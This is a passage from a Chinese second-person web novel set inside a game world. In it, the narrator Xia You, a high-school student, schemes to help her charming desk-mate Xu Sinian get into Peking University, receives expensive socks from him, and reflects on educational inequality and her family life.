你不曾留心却实实在在发生过的场景片段，经他之口重新剪辑，俨然成了你乍一听怀疑耳朵、再一琢磨怀疑记忆的全新故事。
三言两语既把你完全摘出去，又暗示了他的功劳，末尾半讽半吹捧
一下数学老师，至于是讽刺更多还是吹捧更多，全看数学老师个人喜欢怎么解读。
他唯一全然虚构的细节，大概就是威胁了你……
你正想到这里，就听数学老师问他：“你威胁夏佑什么？”
许斯年侧转头，和你骤然紧绷的视线对上。
然后，冲你飞快眨了下右眼。
刹那，你忘记了呼吸。
数学老师近在咫尺，注视的目光还火辣辣贴在你右脸上，如果、如果她也看到了这个眨眼……你有瞬间恍惚你们在当众偷情……
脚背蓦地一重，你低头去看，就见一只运动鞋正踩在上面。
“我威胁她，”许斯年垂眸看向数学老师，声音带着轻巧的愉悦，“要踩她的鞋。”
许斯年说这话时，鞋还一直踩着你的鞋，你转头去瞪他，眼神咬牙切齿让他挪开鞋。
恼怒的表情直白暴露在数学老师一旁不动声色打量你们的眼里。
“许斯年，你老实点！”数学老师慢了几拍才呵斥。
许斯年不紧不慢收回长腿，重新站好，吊儿郎当回了声：“哦。”
数学老师轻咳了声，抬手拍拍你肩膀：“夏佑，你回去吧。下节课，好好听讲。”
你乖乖点点头。
数学老师夹紧手臂里的课本，像没看到许斯年这个人的存在，直接略过他离开了。
你站在原地，望着数学老师离去的方向。
直到她的背影消失在转角处，你才终于相信她就这么轻飘飘放过了你、们！
你脑袋飘忽忽朝教室里走，许斯年默默跟在你身后。
你走到书桌旁停下，等许斯年进去再坐下，就听他突然问你：“你怎么不穿袜子？”
你穿了，穿的船袜，船袜腰很低，被遮在运动鞋里，所以看不见……你懒得和他解释这么多，随口敷衍道：“没有。”
许斯年“哦”了声，走了进去。
许斯年一坐下，就被他后座的男生拉转过去，畅叙对他勇斗恶龙老师英勇行为的敬佩之情。
你则在其如滔滔江水、绵延不绝的敬佩声中思索起“如何帮许斯年上北大”这个现实问题……
你们高中是教育局直属重点高中，常年一本升学率在85%以上。
和你坐在同一间教室的这些人，大多最后都考上了一本大学。你们学校是不错，但绝没到清北满地走的程度。
清北的学生几乎只会出在尖子班，也就是高三一班和高三二班。
你们十班怎么说呢？
学生大多是一路重点小学、重点初中考进来的中前排选手，一路享受着全市前5%的优质教育资源，有些学习天赋但又算不上顶尖，不想太努力也没太远大的志向。
你和他们则有些不同。
你是你们市为了教育公平、政策倾斜降分录取的产物。通俗来说，你是你们高中因教育公平政策不得不降分录取的普通初中的学生。
你到现在还清晰记得高中的第一次报道。
夏末秋初，天高云淡，连阳光都是可爱的温柔灿烂。
新刷过白漆的红色塑胶跑道上，排排站着贴有分班名单的一个个可移动白板。
一块白板一个班。
你从一班的录取名单一个白板一个白板往下看去，终于在末尾的几块白板中找到了自己的名字。
你被拥在一群叽叽喳喳兴奋看名单的新同学中，默默听到了很多消息：一班和二班是尖子班，其余是平行班，平行班明面上是不分先后的……
最重要一点，每个班的录取名单都是按中考分数排的。
你又看了眼名单上自己的名字，排名很容易数。
倒数第二。
与此同时，大脑中自动播放起初中班主任考后总结时，无数次提起的话：
“别以为你们这次考得比别的班好，就是真的好。就咱们班考前几这几个，真把他们放出去，和那些重点初中的学生比一比，不考倒数就不错了。”
真是一语中的……
但你并没有因为这份倒数第二的名单，就此生出什么发奋读书、考进班级前几来证明自己，或者证明“曾经的班主任是错的”宏图大志。
长久的言语打压和摆在眼前现实的成绩排名，只会让你以为自己确实比不上那些重点中学的“好学生”，的确和他们存在智商上的差距。
促进教育公平的倾斜政策真实落在你身上，你因此得以进入这所重点高中，却没真正意识到教育资源分配不公的现实。
毕竟，你曾经的老师从没和你们说过他们和重点中学老师间的差距，他们只是反复、一遍遍强调你们和重点中学学生的差距。
进入新的班级，你连曾经唯一的“好学生光环”也失去了，连老师们都不会多注意你一点。
你一如既往上课认真听讲，回家按时完成老师布置的作业，一日日按部就班上学、放学。
仿佛班级角落里一朵透明的野花，除了你的同桌和周围几个同学，大家似乎只是知道你的名字。
老师上课提问都不会问到你，那些热衷于发作业的积极分子有时甚至要抻着脖子找半天，才能找到你的位置。
第一次月考后，当成绩表分发下来，你想当然从最末向上找起。
当你一路向上，最后发现你考进班级前十五时，内心是前所未有的震撼。
第十二名，对于曾经考过无数次第一第二第三的你实在算不上什么好成绩，但你从未想过，你在这群“聪明人”中有一天也能考到前排，而且这一天，来得如此之快。
一个月而已。
那个下午，你对着那份成绩表沉思许久。
明明开学这个月你也没有多努力，你其实有些认命，内心承认你真的比不上他们聪明。你对这次月考的心里预期只是进步个三四名，至少摆脱倒数五名。
可你……怎么就一下进步神速了呢？
这次考试，十二名的排名，同学们依旧没有看到你。
老师们也没有。
当然，你也没有看到自己。
随着期中考试、之后的月考一次次来临，你的班级排名一直稳中有升。
当期末考试你第一次考进班级前五时，终于有同学转头看你，有些惊讶说：“夏佑，平时看你不吭不响，没想到是在憋个大的。期末一下子考这么好。”
你有些不好意思告诉她，你也没想到。
但同学却只以为你是谦虚。
其实，你是真没想到——
你和他们这些“聪明人”原来只差一样的好老师。
那一天，在期末成绩公布后有人欢喜、有人忧的热闹午后，你终于想明白了大半年前切实惠及你的政策的真正意义。
你望向窗外。
冬日的太阳不温不火，却让你觉得有些刺眼，浅金的光灼在你脆弱的眼球上，让你直视的眼有些难过……
难过那些曾经和你一同努力了三年的初中同学，他们上了普通的高中、甚至是大家口中的“垃圾职高”，他们并没有机会领会到这件事。
或许很多年后，他们回想起初中的三年，还只会后悔曾经的自己不够努力……
上课铃响，打断了你早已跑偏到不知何处的思考。
你望向满脸谈兴未尽、被迫转过身坐好的许斯年，只觉得他比那日午后的阳光更耀眼。
这一刻，你是真羡慕许斯年的。
你花了大半年才找到的些许自信，仿佛天生就种在许斯年身上，他一路成长，自信深深扎根，向自由的天空长成了欣欣向荣的大树。
现在，大树，他要上北大了……
许斯年见你一直盯着他的脸不说话，向后撩了把刘海，欠兮兮问你：“你这是……”
“被我帅到了？”
你深深提一口气：“……对，你迷死我了。”
许斯年向来能言善辩的嘴一下卡壳，呆呆张着望向你……
……
“上课！”
英语老师站在讲台上冲下面喊了声。
你转回身，和大家一起站起身。
许斯年慢了几秒，也站起身，和大家一起向老师问好：“老师好！”
英语课上，其实你很想和许斯年谈谈他对于“上北大”这个宏伟目标的具体计划。
但传纸条的前车之鉴还历历在目，你只好认真听课。
偶尔扫过右面一片黑压压低头记笔记的脑袋，感叹他们这么用功，却没一个争气点儿考上清华北大，然后怀着无处可取经的深深无力感，也埋头记起了笔记。
英语课后，你刚想和许斯年好好商讨一下“上北大”的大计，他就被探头进门的班主任叫走了。
你就知道，许斯年那番“大逆不道”后，数学老师不会那么轻易放过他。
果然，数学老师掉头就去和班主任告状了。
你心怀忐忑终于把许斯年盼回来。
你仰头觑着许斯年的脸色，意外他一脸没事人的模样。
难道是你猜错了？
班主任只是恰巧赶在这时找他谈话。
你问他：“班主任找你什么事？”
许斯年在翻书包，随口回你：“没什么事，就是让我给我妈打个电话，让她下午过来一趟。”
你：“……你管叫家长，叫没什么事？”
“叫家长有什么？”许斯年终于翻到了手机，把手机抵在你皱起的眉间，“我妈昨晚还抱怨我爸一回家就知道钻书房打电话，不多看一眼她新买的漂亮裙子。”
你抬手拍掉他的手机。
许斯年站起身，把手机揣进兜里：“巧了不是，今天我就帮她找到了展示的舞台。你说，除了学校，哪还有这么多人的地方？”
你：“…………”许斯年他妈可真是养了个贴心的好大儿。
“行了，不和你说了，我得趁下课赶紧给我妈打电话。再等会儿，我妈好不高兴了。”许斯年说着要往外走。
你站起身，走到外面给他让地方出去：“你终于知道你妈被叫到学校会不高兴了。”
许斯年停下脚步，看你：“不是啊。通知晚了，她会怪我没给她时间好好打扮。”
你：“……………………”
你的妈妈，我的妈妈，真的不一样……
“行了，我得去打电话了。”许斯年一溜烟蹿出了教室。
***
一上午，你都没想出一个帮助许斯年上北大的巧妙办法。
无奈之下，你只能先用上最笨、最扎实的方法——延长学习时间。
中午吃完饭，身高一米九、一身腱子肉的王宇颠着篮球朝你们方向走来。
王宇敞开的校服里早换上了紫金配色的篮球服，对被你强堵在里面学习的许斯年说：
“许哥，走？打球去啊。”
伏在桌上死气沉沉写着练习册的许斯年仿佛接到了来自霍格沃茨魔法学校的召唤，立马放下笔，站起
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身：
“现在就走。”
你看了眼一秒生龙活虎的许斯年，没说话，坐着把椅子往后推，直抵上后面的书桌。
许斯年当你懒得起来给他让位置，就侧过身，准备从桌子和你膝盖间的空地挤出去。
你立马抬起右腿，架在前面桌腿上。
许斯年准备横出去的脚步顿住。他退后一步，眼神衡量了下你支起的腿的高度，长腿一抬，准备从上面跨过去。
你突然出声：“许斯年。”
许斯年跨到一半的长腿大鹏展翅般停在半空，垂下头来看你。
你仰起脸，冲他微微一笑：“我要抬、膝、盖了？”
许斯年眼中闪过一丝莫名。
你示意他往下看，然后小幅度向上抬了抬膝盖。
只一眼，许斯年就像被扎了屁股般，光速收回他的大长腿。
“夏佑，不用这么狠吧？”许斯年双手合十，严实挡在两腿之间，向你确认。
你一脸无辜回视他：“你在说什么？”
许斯年拿你没有办法，看向还等在外面、下意识以奇怪姿势收紧腿的王宇：“你们去吧，我今天先不去了。”
王宇先是诧异，后是一脸为难：“不行啊，许哥，五缺一啊。”
许斯年：“我要在教室里学习。”
你在他们两座大山间赞同点点头。
王宇对着许斯年挤眉弄眼：“真不能去了？”
许斯年别过脸，冲他摆摆手。
王宇在你和许斯年两人间上下打量几番，最后看向了你。
眼神可怜巴巴问你：“夏佑，许哥真不能去啊？大家都等着呢，五缺一……”
你这人一向不好意思拒绝别人，尤其是不熟的人。
但你今天真的不能这么随便放走许斯年，毕竟有一就有二，有二就有三……
你犹豫了下，用手肘撞撞站在一边、还心存妄想的许斯年的大腿，翻过掌心对他说：“钱包。”
许斯年不明所以看了你手心两秒，从兜里摸出钱包，放进你掌心。
你努力对着王宇扯出一抹和蔼可亲的笑：“许斯年立志要上北大，所以午休要在教室里努力学习。”
你翻开许斯年的的钱包，里面一如既往放了许多现金，你从中抽出一张，笑着朝王宇递过去：“今天可能只能在金钱上支持一下大家了。你看，能不能麻烦你拿着这钱，给大家买点儿运动饮料、能量棒什么的，帮他和大家解释一下？”
王宇一把接过百元大钞：“行行行，打球哪有学习重要？”原本就小的眼睛直接笑眯成一条缝。
你犹豫问：“那你们五缺一……？”
王宇捏着钱的大手一挥：“没事，我们队还有两个替补呢。”
没想到王宇看着凶巴巴，人这么好说话，你真心冲他笑起来：“那太好了。你人真好。”
王宇被你夸得不好意思，鼓满腱子肉的手臂费力折到脑后，挠着后脑勺嘿嘿嘿嘿冲你笑。
旁边的许斯年忽然当啷一句：“你俩还要唠多久，都打扰我学习了。”
“那你快去打球吧，”你笑着和王宇摆摆手，“加油啊！”
王宇一步步倒退和你挥手，直到斜着撞上身后第一排的桌子，才转过身，绷直腰板一板一眼朝外面走去。
你看见王宇撞上桌子时就想笑，但你怕他尴尬，硬是憋住了没笑。目送他出了教室，才笑着转头去看许斯年。
不成想，许斯年一脸鼻子不是鼻子、眼睛不是眼睛盯着你。
你脸上的笑容一僵：“你怎么了？”
许斯年：“明明是我的钱，他为什么对你那副模样？”
你：“什么模样？”
许斯年：“一、脸、感、激！”
你仔细回忆了下：“没有吧，他连句谢谢都没和我说。不过，我才发现，他还挺可爱的。”
许斯年举起手中的笔，当啷一下敲在你脑门：
“他那身糙皮，可爱个鬼？我看你得去看看眼睛了。”
***
下午第二节自习课，许斯年的妈妈来了，班主任让人把许斯年叫到教师办公室。
许斯年去了办公室，你心里也不安起来。
忐忑班主任和许斯年妈妈说起上午的事，说着说着就说到你头上，顺势再把你叫去办公室说道说道。
所以，许斯年一回来，你第一时间就注意到了。
你见他手上捏着个扁扁的淡粉色长方形礼盒，悠哉悠哉朝你走来，估摸着应该没什么大事。
你盯着那十分少女的粉色外加礼盒左上角打得十分工整的绸带蝴蝶结，怀疑许斯年去办公室听训回来的路上，被暗恋他的某位精致少女拦下来表白、送了这份礼物。
许斯年走到你桌边，你站起来给他让地方。
许斯年单手扶着你桌子进去了，手上的礼盒却落在了你桌上。
你重新坐下，拾起礼盒放到他桌上。
许斯年伸出食指，把粉色礼盒推过三八线，又推到你手边：“给你的。”
你拿起礼盒，诧异指指自己：“给我的？”
许斯年点点头。
你：“什么东西？”
许斯年：“袜子。”
你：“？？？”
许斯年：“你不是说你没有袜子？我上午给我妈打电话时，就让她给你买双袜子带来。早上我摸你那脚踝冰凉凉的，怎么到秋天了，你还不知道穿袜子？”
你整个人顿住了。
一时不知道是该惊讶这么漂亮精致的盒子里装的仅仅是袜子；还是惊讶许斯年竟然让他妈妈帮你买袜子带到学校来，还是在被叫家长的情况下；又或是惊讶他把你没穿袜子这茬真放在了心上……
“快拆开看看啊。”许斯年见你握着礼盒，半天不拆，催你道。
你疑惑看他：“你怎么比我还急？”
许斯年：“我想看看我妈给你挑的袜子好不好看。”
你：“那你路上拆开看看，不就知道了？”
许斯年前后瞧了瞧，见大家都在低头学习，才把头凑过来和你说：“我妈不让。”
你不解：“为什么？”
许斯年摸摸鼻子，小声对你说：
“我妈说男生随便摸女生袜子……是变态。”
你“噗嗤”一声，又迅速反应过来，把笑声硬生生咽回了肺里，然后一本正经看向许斯年：
“阿姨说得对。”
许斯年点点头，又催你：“你快拆开看看。”
你小心拆开漂亮工整的绸带蝴蝶结，掀开礼盒的盖子。
雪梨纸上一上一下躺着两双堆堆袜，一双米色、一双浅咖色。
你拿起其中一双，这才看到到袜子上还有英文字母：
「miumiu」
你又拿起另一双，也是一样的，是同品牌同款式的不同颜色。
你不敢置信看向凑在一旁和你看袜子的许斯年，问他：
“你是怎么和阿姨说的？”
“我就和我妈说买个长点儿的、厚点儿的的袜子，给女生穿的。”许斯年见你表情不对，挠挠头，“你不喜欢啊？”
许斯年垂头盯着你手中的袜子，反思道：“也是，上面也没个花啊，蝴蝶结的。可能我告诉得有点儿匆忙，她没时间去好好挑两双。”
“要不你先穿半天，我回家再和她说，让她明天出门逛街挑两双漂亮的送你。”
“对了，”许斯年掀起眼帘看你，“你喜欢什么图案的？”
“小花？蝴蝶结？小太阳？还是你早上说要送我的线条小狗？”
44. 竹马的心愿挑战（5）
“要不你先穿半天，我回家再和她说，让她明天出门逛街挑两双漂亮的袜子送你。”许斯年看着你，一脸认真问，“你喜欢什么图案的？小花？蝴蝶结？小太阳？”
“……还是你早上说要送我的线条小狗？”
“不用不用不用不用，”你的头飞快摇出了残影，“这两双就非常好。”
你生怕许斯年回家告诉他妈，他的同桌夏佑觉得她买的miumiu没有带小花、小蝴蝶结、小太阳或小狗的袜子好看。
啊——
你都不敢想象，那一瞬，许斯年妈妈漂亮的脸蛋得震惊成什么模样？
许斯年双眸微眯，仔细打量你的表情，又确定了一遍：“真的？”
你把两双袜子认真摆回礼盒，盖上盒盖，双手把礼盒捧在胸前，语气十分诚恳回答：“我真的、真的非常喜欢。”
许斯年又盯了你一会儿，才说了句“好吧”，转过身去。
***
晚饭过后，你们还要上一节晚自习。
你和朋友从学校食堂结伴走回教室。
路上，她和你说起学校明天下午会在操场上举行高考誓师大会，全体高三学生都要参加。
朋友用手肘捅捅没什么反应的你，问你：“你不期待吗？”
你还真不期待。
高考誓师大会，你亲身经历过，就是大家站在操场上，听老师代表鼓励鼓励大家，听学生代表表示一下为高考奋斗的决心，再由学生代表一句一句领着台下的大家念誓词。
除了当场喊口号时，你有些心潮澎湃，第二天，大家都是该干嘛干嘛。你没听周围的谁因为高考誓师大会一改前貌，就此发愤图强了。
你其实怀疑你的心潮澎湃是被集体宣誓的喊声震的。
但你看朋友说到此事时，一脸期待的模样，配合点了点头：“有点儿期待。”
回到教室，许斯年已经吃完饭回来，你前座的叶诗语和她同桌都还没回来。
你坐下收拾起下午自习课后又一次凌乱起来的书桌，忽的，桌上落下一大片阴影。
你抬起头，就见是王宇来了。
鉴于你们中午的交情，你冲王宇笑了下，客气了句：“你来了。”
王宇冲你点点头。
你低头继续收拾手上的书。
王宇面朝着你们，在叶诗语的椅子上坐下。
许斯年问王宇：“找我干嘛？”
王宇：“许哥，我不找你。”
王宇不找许斯年，那倒坐在叶诗语的位置上干嘛？
你好奇抬起头。
就见王宇从身后拿出一瓶阿萨姆奶茶，放到你桌角，对你说：“夏佑，你中午给我买东西的钱还剩下几块。我刚才经过小超市，就给你买了瓶喝的。”
你刚在食堂吃完红烧排骨和烧茄子，吃完咸的，现在正想喝点儿甜的，王宇就给你送奶茶来了。
简直是刚瞌睡，就有人来送枕头。
“我正想喝奶茶呢，谢谢你！不过，钱也不是我的，是你……”你用手肘朝许斯年方向撞撞，想学着王宇调侃叫他“许哥”，不料却撞了个空。
你转过头，就见许斯年侧靠在墙上，左手肘架在后面的暖气片上。一脸……冷眼旁观你们的模样？
你不知道许斯年这又是抽的什么风，转头拿起桌角的阿萨姆奶茶。
手握上塑料瓶，才发现奶茶竟然是热的。
你有些惊喜看向王宇：“还是热的！”
王宇挠挠头，和你解释：“我看好几个女生都从小超市的保温柜里拿的奶茶，我就猜你们女生喜欢喝热的奶茶。我就等她们拿完，也打开保温柜的柜门，从里面挑了瓶最热乎的，你喜欢就……”
王宇说到一半，许斯年的手大喇喇从斜侧伸到你桌上，掌心朝上对着王宇，凉凉问：“我的奶茶呢？”
王宇盯着许斯年伸着、伸着、快伸到他脸上的手掌，愣了下才回：“许哥，中午给大伙买完饮料、雪糕还有能量棒，就剩了五块钱……”
许斯年斜睨着王宇：“所、以、呢？”
“所以……”王宇给许斯年算起账来，“阿萨姆奶茶一瓶四块五，五块减四块五等于五毛；咱们学校小超市最便宜的冰露矿泉水也要一块钱。所以，剩下的钱只够买一瓶奶茶。”
许斯年：“剩的钱只够买一瓶饮料，你就只想着给夏佑买？只能买一瓶，你就没想到给你许哥买？”
王宇辩驳：“是夏佑给我的钱。”
“夏佑给你的钱？”许斯年被气笑了，“你就没看到夏佑是从我的钱包里拿出的钱，递给你的？”
王宇想了想，再没想到辩解的理由，只好说：“许哥，你不是一向不爱喝饮料，说饮料甜不拉叽的……”
你见王宇被许斯年问得声音越说越小，出声替王宇解围，把手中的阿萨姆奶茶朝许斯年方向递了递：“要不，我不喝了。这瓶奶茶给你喝？”
许斯年白了你一眼，没说话。
你：“…………………………”
王宇见状，站起了身，望了眼后墙黑板上方的表，又看向许斯年：“时间还够，要不我再下去买一瓶阿萨姆奶茶？”
许斯年冷嗤：“我差你一瓶奶茶？”
王宇站在叶诗语的椅子旁，一时不知是该坐下，还是该出去再买一瓶奶茶。
最后，王宇默默从兜里掏出一枚五角的硬币，小心放在许斯年右上方的桌角：
“许哥，那我把剩的钱还你吧……？”
你听许斯年在你身边深深吸了口气，与此同时，叶诗语清冷的声音传来：“麻烦让一让。”
王宇闻言侧开身，这才露出后面站着的叶诗语。
你平时看叶诗语觉得她身材高挑，但站在又高又壮的王宇后，竟然连个衣角都没露出来。
许斯年也看见了叶诗语，也终于意识到他刚才的行为有些幼稚，向王宇兴师问罪时快倾到你桌上的上身立马弹了起来。
叶诗语坐下后，仰头看了看还大山一般伫立在她椅子旁的王宇，细白的食指在王宇和许斯年之间比划了下，问：“你们的话……还没说完？”
许斯年一脸没事人的模样看向王宇：“我说完了，你还有事吗？”
“没事没事，”王宇连连摆手，然后大拇指朝身后比了下，“那许哥……我就先回去了？”
许斯年矜持颔了颔首。
王宇立马转身，大步离开。
叶诗语见无事了，也转了回去。
你在一旁，默默看着叶诗语用两句话就解决了所有问题，心里感叹：还是美女的话好用……
只是，叶诗语一转过身，许斯年又梗起了脖子。
无语的你拿起桌上的阿萨姆奶茶，用瓶身碰了碰许斯年的手背，问：“我把奶茶分你一半？”
许斯年梗着脖子侧过头，瞅你半晌：“就一个瓶子，怎么分？”
你早就想好了，你的HelloKitty保温杯杯盖上带把手，有需要的话，可以拿下来当小杯子用。
你转身从书包侧兜拿出你的保温杯，把上面的盖子旋下来，递到许斯年手边，试探问：“这样喝？”
许斯年盯着你的小杯子半晌不说话，不知道在犹豫什么。
你见状又补了句：“我每天都刷杯子的，而且，我平时直接对杯口喝，不用这个小杯子的。”
许斯年终于大爷般松了口：“行吧。”
你扭开阿萨姆奶茶的瓶盖，往粉白的HelloKitty杯盖里慢慢倒奶茶。
想到王宇刚才说许斯年不爱喝饮料，你怕倒多了，他尝一口说不好喝，剩了浪费，你倒到一半停了下，用眼神询问他：“可以了吗？”
“怎
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么，还不舍得给我喝？”许斯年说着伸出食指，又把瓶身压下去。
褐色的奶茶又“咕嘟咕嘟”往杯里倾倒。
你：“………………”
你无语地任许斯年压着瓶身，把杯子倒得满满当当。
奶茶液面鼓出杯口，不能再多一滴的程度。
你收回奶茶瓶子，把瓶盖旋紧，下巴抵在上面，直直看向许斯年。看他倒得这么满，一会儿怎么端起来喝？
不想，许斯年毫无包袱，直接趴上去喝了。
蓬松的短发，奶白的侧脸，鼻尖抵在粉嫩的HelloKitty杯口，发出吸溜吸溜的声响。
你仿佛看到一只可爱的比熊在喝水……
美妙的画面持续不到五秒，许斯年就矜着鼻子抬起脸来看你：“好甜。”
你摊手：“谁叫你非要倒那么多……”
“我又没说我喝不了。”许斯年说完，端起杯来，壮士断腕般仰头一饮而尽。
你：“……”
喝完，许斯年把空杯往你手前一放，说：“再来一杯。”
你满脸问号，刚才是谁嫌弃奶茶太甜？
“你不是说要分我一半？”许斯年冲你手里还剩大半瓶的阿萨姆奶茶挑挑眉，“你要说话不算数？”
你：“算、算、算……”
***
晚自习课上，你埋头认真写作业。
许斯年忽然撞撞你手肘，你转头看他。
许斯年把数学卷子推过来一半，笔尖点点其中一道证明题：“你会证吗？”
你拿起卷子看了几眼，从手边扯来一张演算纸，拿起油笔埋头推导起来。
推到一半，才注意到许斯年还在看你，你转头对他说：“你先写别的，我试一试再告诉你。”
许斯年轻声“哦”了下。
你埋头继续推起来……
边推边感谢上一关游戏结束在你推导最小二乘法的公式成功时。
或许是一切结束得猝不及防，或许是一切停在了你们胜负未分的打闹时刻，像所有未得到期待结局的故事，在你一个人后来的记忆反刍里，单纯的场景生出了复杂的情感底色。
你出了游戏后那段刻苦复习的日子，学高数的时间格外长，格外刻苦、格外用心。
学习高数，仿佛是你出了游戏世界，回到现实里，能想到的唯一悼念方式。
拥有太多回忆的图书馆太过激进，冰冷而理性的数学刚刚好。
高中别的科目或许你还有些生疏，数学现在就是你红旗飘扬的高地。
你一路在演算纸上“唰唰唰唰”，推导的思路仿佛夜空上一道接一道亮起的流星……
终于证明出结果。
你用笔尖将最后一步重重一圈，哒一下将弹簧笔尾反扣在演算纸上，笔尖成功缩回，你一脸得意把演算纸拍到许斯年桌上：
“证明出来了！”
等了几秒，都没听到许斯年的回应。
你转头去看，就见一旁的许斯年一眨不眨盯着你看。
你不解问他：“怎么了？”
“我突然理解了《神探夏洛克》里的那句台词。”许斯年却所答非所问。
你：“神探夏洛克？BBC出品那个？”
许斯年还是一眨不眨看你，鼻腔里哼出声肯定。
好好的怎么说起了英剧，你疑惑问他：“哪句台词？”
许斯年没立即作答，你的目光自然下落到他唇上。
他天生长着微笑唇，笑和不笑时，唇角总是微微上扬，形态也丰盈饱满，你看着、等着，突然羡慕起他看起来血气十分充足的唇色，他要是会来大姨妈，一定不会觉得痛……
就见眼前的唇瓣一开一合，碰撞出沉哑的英音：
“Brainyisthenewsexy.”【1】
45. 竹马的心愿挑战（5）
眼前的唇瓣一开一合，碰撞出沉哑的英音：
“Brainyisthenewsexy.”
你眼睛盯着许斯年的两片唇，耳朵仿佛卡了带的放录机，慢一拍才播放出他到底说了什么。
等脑子想起这句台词是那个从发丝、到睫毛、到指尖都流淌着性|张力的“TheWoman”用来夸赞“卷福”饰演的夏洛克·福尔摩斯……
你若有所悟的视线向上停在许斯年的眼睛上。
“许斯年，那你什么时候能给我Sexy一下？”
*****
晚自习结束后，你乘坐公交车回家。
从后门下车，一眼便对上夜色里在公交站牌旁张望过来的爸爸。
你快步走到爸爸跟前，爸爸熟练伸手接过你肩上的书包，问你：“今天上学累不累？”
你：“不累。”
爸爸：“那就好，我们回家吧。”
你们的对话像从前无数次那样，就此结束。
紧闭的防盗门前，爸爸用一早准备好的门卡刷开防盗门。
昏暗的楼道里，感应灯应声而亮，你跟在爸爸身后迈进去。
电梯里，爸爸和你一左一右，一同仰头望着电梯门上方不断向上跳动的红色数字。
同样的场景，同样的人。
很奇妙，十多个小时前，你刚刚经历过一遍。
唯一的不同……
你望向爸爸垂在腿侧空空的右手，之前那里拉着你的行李箱，现在……
你抬头看了眼爸爸的肩膀，那里背着个米白色的书包。
“叮”一声响，电梯门打开。
你刚跨出电梯，就听走廊尽头响起了开门声，妈妈的声音随之而来：“是佑佑回来了吗？”
落后一步跨出电梯的爸爸冲着家门的方向扬声：“回来了。”
你被妈妈热情迎进家门，妈妈上下左右打量你一圈，问你：“怎么样，学了一天习，累不累？”
游戏里几年前的妈妈和现实里你刚见过的妈妈没什么不同，听完你回“不累”，吩咐你赶紧去洗手换衣服，人便转进厨房“叮叮当当”开始忙活起来。
你洗干净手和脚，进了自己的房间。
关上房门，换上家居服，从书包里小心拿出放在最上面的粉色礼盒。
礼盒上你尝试打了三遍的蝴蝶结还是翘着一边脚，结身的地方也有皱缩。
你有些可惜，没法将刚见到它时漂亮平整的蝴蝶结还原。
你打开礼盒，拿出浅咖色那双袜子，认真穿到脚上。
你走去穿衣镜前，望向镜子里的人。
蓝白条的家居裤裤脚垂到你脚背，半长的袜筒都掩在裤腿里。
这样看着，和你平时穿的九块九三双的袜子没什么不同。
甚至连颜色都不搭。
回来的公车上，你单手扶着吊环，在时不时一颠一颠的手机屏幕上搜索着「miumiu的袜子」。
你没能在淘宝上找到一模一样的款式，后来，你在小红书分析明星街头穿搭的帖子上看到有女明星穿着miumiu差不款式的中筒袜。
女明星的一身，从头顶的发夹到脚上的浅口搭扣高跟鞋到内搭的中筒袜都被一一标明了品牌、价格。
袜子是你凭想象无法想出的价格。
一双袜子比你大学两个月的生活费还要贵。
你当时的第一反应是你不能收，明天得拿回去还给许斯年。
但望着照片里活力照人的女明星，你后知后觉，你这是在玩游戏啊！
出了游戏，你这辈子还有什么时候能穿上这、么、贵的袜子！
沉浸在隐秘发光的回忆宝盒里，你没听到“咚、咚、咚”的敲门声。
等“咔哒”一声锁舌回弹响起，妈妈已经推开了房门，端着胡桃木托盘探进头来。
穿衣镜前惊慌转身的你正撞上妈妈看来的视线。
那视线仿佛地铁站里的安检扫描仪——
从你上身的米色长袖珍珠扣毛衫、滑到下面焦糖色的英伦格纹小短裙、定在你长到小腿的浅咖色中筒袜。
你的右脚下意识向后缩了缩。
可你很快意识到你的拖鞋还远远摆在床尾。
你仿佛地洞远在天边的地鼠，在直射而来的目光之锤下，听天由命般挺着头……
审判终于落下：“你一个人在屋子里臭美啥呢？”
在妈妈灼灼的视线等待中，你对着身上的衣服，终于找到了借口：“我怕最近吃多了夜宵长胖，把以前的衣服拿出来试试。”
“这样啊。”妈妈了然点点头，进来把手中端着的夜宵放去你桌上，顺手点亮了你桌角的台灯，“你胖什么胖？你现在正是学习的关键时刻，营养必须得跟上。”
你还站在穿衣镜前：“哦。”
“你可别学电视里那些瘦得只剩一把骨头的女明星。我看着你，还觉得有点儿痩呢。一会儿多吃点儿，吃饱了再学，不差那点儿时间，”妈妈边说边往外走，手把上房门，还不往回头提醒你，“也别学到太晚，尽量在十二点前睡觉。”
房门“咔哒”一声合上，你心中紧绷的弦终于松下来。
其实，你也不清楚自己在紧张什么。
妈妈根本想不到你脚上的袜子会那么贵。
还是因为妈妈虽迟必到的那句“你一个人在屋子里臭美啥呢？”
这句话你明明听过很多次，每次你试新衣服、扎新发型、尝试新的化妆品，妈妈走过路过总会打趣你一句“一个人臭美啥呢？”
虽然，你知道妈妈并没有恶意，但你每次听到这句话都会感到不舒服。你尝试和妈妈说过一次，妈妈愣了下，然后笑着回头和爸爸说：“看，你家这孩子多不禁逗……”
后来上了大学，你可以随意玩手机了，你在网络评论区自行确诊了你有“变美羞耻症”。
不过，你也不是特别确定。
网络诊病就是有这个缺点，虽然条条症状你都像，但总缺专家盖个章……
你走到桌前坐下。
暖黄的台灯下，胡桃木的托盘上摆着油光锃亮的番茄炒蛋、黄豆蹄花汤和点点翠色的清汤阳春面。
鸡蛋是妈妈用来给你补脑的，黄豆和猪蹄是曾经的你主动要来丰胸的，前者有用与否你不得而知，后者，你低头瞧瞧米色毛衣下微鼓起的弧度……
唉……你一筷子戳进炖得软烂脱骨的猪蹄，最起码知道了“吃黄豆和猪蹄丰胸”只是个好吃的谎言。
你又捞起一筷子阳春面，送进口中。
还是熟悉的老味道……
自打你高中一次期末考试的作文里写到「夜晚暖橘的台灯下，妈妈亲手煮的阳春面冒着热腾腾的白烟，氤氲了你低垂的长睫，温暖了你熬夜学习疲惫的心……」
往后，你为学习熬的每一次夜，再没缺席过一碗你作文中「葱绿切得细细的」阳春面。
你一筷子猪蹄，一筷子番茄炒蛋，一筷子阳春面，一边吃一边又思考起如何帮许斯年上北大的问题。
游戏里吃多少都不会长胖，你索性吃到妈妈最爱的碗盘空空。
但除了督促许斯年上课认真听讲，减少他玩耍的时间以增加复习的时长，你依旧没想出帮他上北大的良策。
吃完夜宵，你开始写作业。
写累了，你望向窗外，对着黛蓝夜空上又大又圆的月亮怀疑自己是不是误入了学习类游戏——
地铁要联系方式那关，你最后能拿到通关的联系方式，是因为简骁泽好心要资助你上大学；
家教挑战那关，你一大半时间都死气白咧追在傅谨言屁股后面要教他学英语；
告白挑战那关，你天天泡在图书馆帮原野整理笔记；
这一关，你已经进化到帮许斯年上北大了。
下一关，不知你的任务目标还能将学习精进到哪里去。
留给未来的“他”的余地真不多了。
你望着天上的月亮，怀疑“他”可能要进中科院。
还是“他”要上哈佛？
